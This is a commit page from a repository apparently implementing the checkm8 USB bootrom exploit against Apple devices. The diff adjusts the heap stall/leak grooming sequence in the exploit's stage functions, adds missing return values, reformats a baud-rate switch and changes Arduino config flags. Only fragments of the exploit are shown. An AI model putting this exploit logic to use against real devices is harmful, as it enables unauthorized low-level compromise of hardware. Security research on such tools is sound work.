grg/checkm8_tool
1
0
Fork 0
Code Issues Pull Requests Releases Wiki Activity

Not sure how but this works so much better??

Browse Source
This commit is contained in:
Gregor Haas
2019-12-30 16:53:29 -05:00
parent 1c9e62fa54
commit 4d7acad065
4 changed files with 23 additions and 14 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
checkm8_remote/src/command.c
View File

@@ -34,6 +34,8 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
} }
index += amount; index += amount;
} }
return CHECKM8_SUCCESS;
} }
static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};

10
checkm8_remote/src/exploit.c
View File

@@ -121,9 +121,8 @@ int stage1_function(struct pwned_device *dev)
unsigned int i; unsigned int i;
stall(dev); stall(dev);
for(i = 0; i < 5; i++) no_leak(dev); leak(dev);
usb_req_leak(dev); for(i = 0; i < 6; i++) no_leak(dev);
no_leak(dev);
reset(dev); reset(dev);
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
@@ -166,8 +165,9 @@ int stage3_function(struct pwned_device *dev)
fread(payload_buf, pl_len, 1, payload_file); fread(payload_buf, pl_len, 1, payload_file);
fclose(payload_file); fclose(payload_file);
usb_req_stall(dev); stall(dev);
usb_req_leak(dev); leak(dev);
leak(dev);
checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len); checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
while(index < ow_len) while(index < ow_len)

22
checkm8_remote/src/usb_helpers.c
View File

@@ -43,25 +43,32 @@ int open_device_session(struct pwned_device *dev)
switch(ARDUINO_BAUD) switch(ARDUINO_BAUD)
{ {
case 4800: case 4800:
brate = B4800; break; brate = B4800;
break;
case 9600: case 9600:
brate = B9600; break; brate = B9600;
break;
case 19200: case 19200:
brate = B19200; break; brate = B19200;
break;
case 38400: case 38400:
brate = B38400; break; brate = B38400;
break;
case 57600: case 57600:
brate = B57600; break; brate = B57600;
break;
case 115200: case 115200:
brate = B115200; break; brate = B115200;
break;
default: default:
brate = B9600; break; brate = B9600;
break;
} }
cfsetispeed(&toptions, brate); cfsetispeed(&toptions, brate);
@@ -612,5 +619,6 @@ int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int l
struct libusb_device_descriptor *desc = dev->bundle->descriptor; struct libusb_device_descriptor *desc = dev->bundle->descriptor;
libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len); libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len);
return CHECKM8_SUCCESS;
#endif #endif
} }

3
include/checkm8_config.h
View File

@@ -3,9 +3,8 @@
//#define LIBUSB_LOGGING //#define LIBUSB_LOGGING
#define CHECKM8_LOGGING #define CHECKM8_LOGGING
#define ARDUINO_LOGGING
#define WITH_ARDUINO //#define WITH_ARDUINO
#define ARDUINO_DEV "/dev/ttyACM0" #define ARDUINO_DEV "/dev/ttyACM0"
#define ARDUINO_BAUD 115200 #define ARDUINO_BAUD 115200